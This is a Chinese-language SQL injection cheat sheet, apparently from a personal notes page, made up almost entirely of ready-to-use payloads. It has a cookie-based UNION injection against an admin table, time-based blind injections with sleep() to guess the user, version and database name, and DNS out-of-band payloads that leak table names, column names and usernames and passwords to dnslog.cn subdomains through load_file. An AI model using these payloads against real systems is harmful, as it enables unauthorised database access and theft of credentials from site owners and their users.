javascript:alert(document.cookie=”id=”+escape(“1556 and 1=2 select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,,27,28,29,30 from admin”))
sleep()延迟注入用法 sleep 可以强制产生一个固定的延迟。 sleep()延迟注入核心原理 and if(true,sleep(5),0); ==IF(1=1, true, false); id=1 and sleep(5) 判断下是否存在延迟注入 and if(substring(user(),1,4)='root',sleep(5),1) 判断当前用户 and if(MID(version(),1,1) LIKE 5, sleep(5), 1) 判断数据库版本信息是否为5 可以去猜解他的数据库名称 and if(ascii(substring(database(),1,4))>100,sleep(5),1) and If(ascii(substr(database(),1,1))<115,sleep(10),1)--+ and If(length((version()))=6,sleep(10),1)--+ sqlmap --time-sec=2 延迟注入
and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='jian' limit 0,1),'.tunxf1.dnslog.cn\\abc'))),1,1)--+ #查表名 and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='xycms' limit 0,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+ and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='xycms' limit 1,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+
dns注入列列名
1 2 3 4 5 6 7
列列名 and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user' limit 0,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+ and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user' and TABLE_SCHEMA='dbname' limit 0,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+
第二个列名 and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user' limit 1,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+
dns注入列数据
1 2 3 4
列数据 and if((select load_file(concat('\\\\',(select username from user limit 0,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+
and if((select load_file(concat('\\\\',(select password from user limit 0,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+